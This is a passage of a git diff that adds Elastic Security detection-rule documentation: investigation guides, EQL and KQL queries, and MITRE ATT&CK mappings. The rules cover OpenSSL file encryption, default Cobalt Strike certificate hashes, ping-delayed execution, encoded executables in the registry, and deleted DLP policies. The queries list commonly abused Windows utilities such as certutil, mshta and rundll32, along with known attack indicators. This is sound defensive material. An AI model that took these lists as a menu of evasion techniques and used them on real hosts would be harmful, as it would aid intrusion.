deleting malicious Scheduled Tasks, cron jobs, systemd services, launch agents, startup items, and scripts that invoked `openssl enc`, and quarantine any copied tools or payloads found in temporary or user-writable directories. +- Reset passwords, revoke active sessions and tokens, and rotate SSH keys or service-account secrets associated with the compromised host or user if the encryption activity was launched from an interactive shell, remote access session, or automation account. +- Restore impacted files from known-good offline or immutable backups and rebuild or reimage the system if core binaries, startup locations, or security tools were modified, validating restored data before returning the host to production. +- Escalate immediately to incident response if encrypted files were written to shared storage, similar OpenSSL commands appear on multiple hosts, ransom notes or extortion messages are present, or backup repositories and domain-admin accounts may be affected. +- Harden the environment by restricting OpenSSL execution to approved admins and paths, enforcing application allowlisting, limiting write access to sensitive shares, disabling unused remote administration tools, and adding detections for mass file encryption and shadow-copy or backup tampering. + + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("start", "exec", "executed", "exec_event", "ProcessRollup2") and +process.name : "openssl*" and process.args : "enc" and process.args : "-in" and process.args : "-out" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-decline-in-host-based-traffic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-decline-in-host-based-traffic.asciidoc new file mode 100644 index 0000000000..31547ba904 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-decline-in-host-based-traffic.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-decline-in-host-based-traffic]] +=== Decline in host-based traffic + +A machine learning job has detected a sudden drop in host based traffic. This can be due to a range of security issues, such as a compromised system, a failed service, or a network misconfiguration. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Decline in host-based traffic* + + +Host-based traffic monitoring is crucial for identifying anomalies in network activity. A sudden drop in traffic can indicate issues like system compromise, service failure, or misconfiguration. Adversaries might exploit these situations to evade detection or disrupt services. The 'Decline in host-based traffic' rule leverages machine learning to identify unexpected traffic reductions, signaling potential security threats for further investigation. + + +*Possible investigation steps* + + +- Review the affected host's recent activity logs to identify any unusual patterns or events that coincide with the drop in traffic. +- Check for any recent changes in network configuration or firewall settings that might have inadvertently caused the traffic decline. +- Investigate the status of critical services on the host to determine if any have failed or been stopped unexpectedly. +- Analyze network traffic data to identify any potential signs of compromise, such as connections to known malicious IP addresses or unusual outbound traffic. +- Consult with system administrators to verify if any maintenance or updates were performed around the time of the traffic drop that could explain the anomaly. + + +*False positive analysis* + + +- Scheduled maintenance or updates can cause temporary drops in host-based traffic. Users should create exceptions for known maintenance windows to prevent false alerts. +- Network configuration changes, such as firewall rule updates or routing adjustments, might lead to expected traffic reductions. Document and exclude these changes from triggering alerts. +- Temporary service outages due to non-security related issues, like hardware failures or software bugs, can be mistaken for threats. Implement monitoring to distinguish between these and actual security incidents. +- Low-usage periods, such as weekends or holidays, may naturally result in reduced traffic. Adjust the machine learning model to account for these patterns by incorporating historical data. +- Legitimate changes in user behavior, such as remote work policies or shifts in business operations, can affect traffic levels. Regularly update the model to reflect these changes and avoid false positives. + + +*Response and remediation* + + +- Isolate the affected host from the network to prevent potential lateral movement or further compromise. +- Verify the integrity and functionality of critical services on the affected host to identify any failures or misconfigurations. +- Conduct a thorough malware scan on the isolated host to detect and remove any malicious software. +- Review recent configuration changes on the host and revert any unauthorized or suspicious modifications. +- Restore any affected services from known good backups if service failure is confirmed as the cause. +- Monitor network traffic for any signs of unusual activity or attempts to exploit the situation further. +- Escalate the incident to the security operations team for a deeper forensic analysis and to determine if additional hosts are affected. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-default-cobalt-strike-team-server-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-default-cobalt-strike-team-server-certificate.asciidoc new file mode 100644 index 0000000000..32b1a07bc4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-default-cobalt-strike-team-server-certificate.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-default-cobalt-strike-team-server-certificate]] +=== Default Cobalt Strike Team Server Certificate + +This rule detects the use of the default Cobalt Strike Team Server TLS certificate. Cobalt Strike is software for Adversary Simulations and Red Team Operations which are security assessments that replicate the tactics and techniques of an advanced adversary in a network. Modifications to the Packetbeat configuration can be made to include MD5 and SHA256 hashing algorithms (the default is SHA1). See the References section for additional information on module configuration. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0154/ +* https://www.cobaltstrike.com/help-setup-collaboration +* https://www.elastic.co/guide/en/beats/packetbeat/current/configuration-tls.html +* https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-suricata.html +* https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-zeek.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Tactic: Command and Control +* Threat: Cobalt Strike +* Use Case: Threat Detection +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Default Cobalt Strike Team Server Certificate* + + +Cobalt Strike is a tool used for simulating advanced cyber threats, often employed by security teams to test defenses. However, adversaries can exploit its default server certificate to establish covert command and control channels. The detection rule identifies this misuse by monitoring network traffic for specific cryptographic hashes associated with the default certificate, flagging potential unauthorized Cobalt Strike activity. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections associated with the specific cryptographic hashes: MD5 (950098276A495286EB2A2556FBAB6D83), SHA1 (6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C), or SHA256 (87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C). +- Identify the source and destination IP addresses involved in the flagged network traffic to determine the potential origin and target of the Cobalt Strike activity. +- Correlate the identified IP addresses with known assets in the network to assess if any internal systems are potentially compromised. +- Check for any other suspicious or anomalous network activities around the same time as the alert to identify potential lateral movement or additional command and control channels. +- Investigate any associated processes or user accounts on the involved systems to determine if there are signs of compromise or unauthorized access. +- Review historical data to see if there have been previous alerts or similar activities involving the same cryptographic hashes or IP addresses, which might indicate a persistent threat. + + +*False positive analysis* + + +- Legitimate security testing activities by internal teams using Cobalt Strike may trigger the rule. Coordinate with security teams to whitelist known testing IP addresses or certificate hashes. +- Some commercial penetration testing services may use Cobalt Strike with default certificates. Verify the legitimacy of such services and exclude their traffic from detection by adding their certificate hashes to an exception list. +- Network appliances or security tools that simulate adversary behavior for training purposes might use similar certificates. Identify these tools and configure exceptions for their specific network traffic patterns. +- In environments where Cobalt Strike is used for authorized red team exercises, ensure that the default certificate is replaced with a custom one to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further communication with the potential Cobalt Strike server. +- Conduct a thorough forensic analysis of the isolated system to identify any malicious payloads or additional indicators of compromise. +- Revoke any compromised credentials and enforce a password reset for affected accounts to prevent unauthorized access. +- Update and patch all systems to the latest security standards to mitigate vulnerabilities that could be exploited by similar threats. +- Implement network segmentation to limit the lateral movement of threats within the network. +- Enhance monitoring and logging to capture detailed network traffic and endpoint activity, focusing on the identified cryptographic hashes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and coordination with external threat intelligence sources if necessary. + + +*Threat intel* + + +While Cobalt Strike is intended to be used for penetration tests and IR training, it is frequently used by actual threat actors (TA) such as APT19, APT29, APT32, APT41, FIN6, DarkHydrus, CopyKittens, Cobalt Group, Leviathan, and many other unnamed criminal TAs. This rule uses high-confidence atomic indicators, so alerts should be investigated rapidly. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.tls or event.category: (network or network_traffic)) + and (tls.server.hash.md5:950098276A495286EB2A2556FBAB6D83 + or tls.server.hash.sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C + or tls.server.hash.sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-delayed-execution-via-ping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-delayed-execution-via-ping.asciidoc new file mode 100644 index 0000000000..b7f1fd702c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-delayed-execution-via-ping.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-20-delayed-execution-via-ping]] +=== Delayed Execution via Ping + +Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Delayed Execution via Ping* + + +Ping, a network utility, can be misused by attackers to delay execution of malicious commands, aiding in evasion. Adversaries may use ping to introduce pauses, allowing them to execute harmful scripts or binaries stealthily. The detection rule identifies suspicious ping usage followed by execution of known malicious utilities, flagging potential threats by monitoring specific command patterns and excluding benign processes. + + +*Possible investigation steps* + + +- Review the process tree to understand the sequence of events, focusing on the parent-child relationship between cmd.exe, ping.exe, and any subsequent suspicious processes like rundll32.exe or powershell.exe. +- Examine the command line arguments used with ping.exe to determine the delay introduced and assess if it aligns with typical malicious behavior. +- Investigate the user account associated with the process execution, especially if the user.id is not S-1-5-18, to determine if the account has been compromised or is being misused. +- Check the file path and code signature of any executables launched from the user's AppData directory to verify if they are trusted or potentially malicious. +- Analyze the command line arguments and working directory of any suspicious processes to identify any known malicious patterns or scripts being executed. +- Correlate the alert with any other recent alerts or logs from the same host or user to identify potential patterns or ongoing malicious activity. + + +*False positive analysis* + + +- Legitimate administrative scripts or maintenance tasks may use ping to introduce delays, especially in batch files executed by system administrators. To handle this, identify and exclude specific scripts or command lines that are known to be safe. +- Software installations or updates might use ping for timing purposes. Review the command lines and parent processes involved, and create exceptions for trusted software paths or signatures. +- Automated testing environments may use ping to simulate network latency or wait for services to start. Exclude these processes by identifying the testing framework or environment and adding it to the exception list. +- Some legitimate applications might use ping as part of their normal operation. Monitor these applications and, if verified as safe, exclude their specific command patterns or executable paths. +- Regularly review and update the exception list to ensure it reflects the current environment and any new legitimate use cases that arise. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, such as those involving ping.exe followed by the execution of known malicious utilities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware or unauthorized software. +- Review and analyze the command history and logs of the affected system to understand the scope of the attack and identify any additional compromised systems. +- Restore the system from a known good backup if malware removal is not feasible or if the system's integrity is in question. +- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the utilities identified in the alert. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.action == "start" and process.name : "ping.exe" and + process.args : "-n" and process.parent.name : "cmd.exe" and not user.id : "S-1-5-18"] + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : "cmd.exe" and + ( + process.name : ( + "rundll32.exe", "powershell.exe", + "mshta.exe", "msbuild.exe", + "certutil.exe", "regsvr32.exe", + "powershell.exe", "cscript.exe", + "wscript.exe", "wmic.exe", + "installutil.exe", "msxsl.exe", + "Microsoft.Workflow.Compiler.exe", + "ieexec.exe", "iexpress.exe", + "RegAsm.exe", "installutil.exe", + "RegSvcs.exe", "RegAsm.exe" + ) or + (process.executable : "?:\\Users\\*\\AppData\\*.exe" and not process.code_signature.trusted == true) + ) and + + not process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*") and + not (process.name : ("openssl.exe", "httpcfg.exe", "certutil.exe") and process.parent.command_line : "*ScreenConnectConfigurator.cmd*") and + not (process.pe.original_file_name : "DPInst.exe" and process.command_line : "driver\\DPInst_x64 /f ") and + not (process.name : "powershell.exe" and process.args : "Write-Host ======*") and + not (process.name : "wscript.exe" and process.args : "launchquiet_args.vbs" and process.parent.args : "?:\\Windows\\TempInst\\7z*") and + not (process.name : "regsvr32.exe" and process.args : ("?:\\windows\\syswow64\\msxml?.dll", "msxml?.dll", "?:\\Windows\\SysWOW64\\mschrt20.ocx")) and + not (process.name : "wscript.exe" and + process.working_directory : + ("?:\\Windows\\TempInst\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\BackupBootstrapper\\Logs\\", + "?:\\Users\\*\\AppData\\Local\\Temp\\QBTools\\")) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Script Proxy Execution +** ID: T1216 +** Reference URL: https://attack.mitre.org/techniques/T1216/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: Time Based Checks +** ID: T1497.003 +** Reference URL: https://attack.mitre.org/techniques/T1497/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-encoded-executable-stored-in-the-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-encoded-executable-stored-in-the-registry.asciidoc new file mode 100644 index 0000000000..dd57ff7908 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-encoded-executable-stored-in-the-registry.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-deprecated-encoded-executable-stored-in-the-registry]] +=== Deprecated - Encoded Executable Stored in the Registry + +Identifies registry write modifications to hide an encoded portable executable. This could be indicative of adversary defense evasion by avoiding the storing of malicious content directly on disk. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Encoded Executable Stored in the Registry* + + +Windows Registry is a hierarchical database storing low-level settings for the OS and applications. Adversaries exploit it to hide encoded executables, evading detection by avoiding direct disk storage. The detection rule identifies suspicious registry modifications, specifically targeting encoded patterns indicative of hidden executables, thus flagging potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the registry path and key where the modification was detected to understand the context and potential impact on the system. +- Analyze the encoded data string "TVqQAAMAAAAEAAAA*" to determine if it corresponds to a known malicious executable or pattern. +- Check the modification timestamp to correlate with any other suspicious activities or events on the system around the same time. +- Investigate the process or user account responsible for the registry modification to assess if it is associated with legitimate activity or known threats. +- Cross-reference the alert with other data sources such as Sysmon, Microsoft Defender for Endpoint, or SentinelOne for additional context or corroborating evidence of malicious behavior. +- Evaluate the system's network activity and connections during the time of the registry modification to identify any potential command and control communications or data exfiltration attempts. + + +*False positive analysis* + + +- Legitimate software installations or updates may write encoded executables to the registry as part of their normal operation. Users can create exceptions for known software by identifying their specific registry paths and excluding them from the detection rule. +- Security tools and system management software might store encoded data in the registry for legitimate purposes. Review the registry paths and data associated with these tools and exclude them if they are verified as non-threatening. +- Custom scripts or enterprise applications developed in-house may use encoded executables in the registry for deployment or configuration purposes. Work with development teams to identify these scripts and add exceptions for their registry modifications. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking potential threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the encoded executable. +- Remove the malicious registry entry by using a trusted registry editor or automated script to ensure the encoded executable is no longer stored in the registry. +- Conduct a full system scan using updated antivirus and anti-malware tools to identify and remove any additional threats or remnants of the attack. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through cleaning. +- Monitor the system and network for any signs of re-infection or similar registry modifications, adjusting detection rules if necessary to enhance future threat identification. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and +/* update here with encoding combinations */ + registry.data.strings : "TVqQAAMAAAAEAAAA*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-exchange-dlp-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-exchange-dlp-policy-deleted.asciidoc new file mode 100644 index 0000000000..8a81b38ac9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-exchange-dlp-policy-deleted.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-20-deprecated-m365-exchange-dlp-policy-deleted]] +=== Deprecated - M365 Exchange DLP Policy Deleted + +Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to evade existing DLP monitoring. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-dlppolicy?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/compliance/data-loss-prevention-policies?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - M365 Exchange DLP Policy Deleted* + + +Data Loss Prevention (DLP) in Microsoft 365 Exchange is crucial for safeguarding sensitive information by monitoring and controlling data transfers. Adversaries may exploit this by removing DLP policies to bypass data monitoring, facilitating unauthorized data exfiltration. The detection rule identifies such actions by analyzing audit logs for specific events indicating successful DLP policy removal, thus alerting security teams to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-DlpPolicy" to identify the user account responsible for the action. +- Check the event.outcome field to confirm the success of the DLP policy removal and gather additional context from related logs. +- Investigate the user account's recent activities in Microsoft 365 to identify any other suspicious actions or anomalies. +- Verify if the removed DLP policy was critical for protecting sensitive data and assess the potential impact of its removal. +- Contact the user or their manager to confirm if the DLP policy removal was authorized and legitimate. +- Examine any recent changes in permissions or roles for the user account to determine if they had the necessary privileges to remove the DLP policy. + + +*False positive analysis* + + +- Routine administrative changes to DLP policies by authorized personnel can trigger alerts. To manage this, maintain a list of authorized users and correlate their activities with policy changes to verify legitimacy. +- Scheduled updates or maintenance activities might involve temporary removal of DLP policies. Document these activities and create exceptions in the monitoring system for the duration of the maintenance window. +- Automated scripts or third-party tools used for policy management can inadvertently trigger false positives. Ensure these tools are properly documented and their actions are logged to differentiate between legitimate and suspicious activities. +- Changes in organizational policy or compliance requirements may necessitate the removal of certain DLP policies. Keep a record of such changes and adjust the monitoring rules to accommodate these legitimate actions. + + +*Response and remediation* + + +- Immediately isolate the affected Microsoft 365 account to prevent further unauthorized actions and data exfiltration. +- Review the audit logs to identify any additional unauthorized changes or suspicious activities associated with the account or related accounts. +- Restore the removed DLP policy from a backup or recreate it based on the organization's standard configuration to re-enable data monitoring. +- Conduct a thorough investigation to determine the scope of data exposure and identify any data that may have been exfiltrated during the period the DLP policy was inactive. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment measures are necessary. +- Implement enhanced monitoring and alerting for similar events, focusing on unauthorized changes to security policies and configurations. +- Review and strengthen access controls and permissions for accounts with the ability to modify DLP policies to prevent unauthorized changes in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-DlpPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: 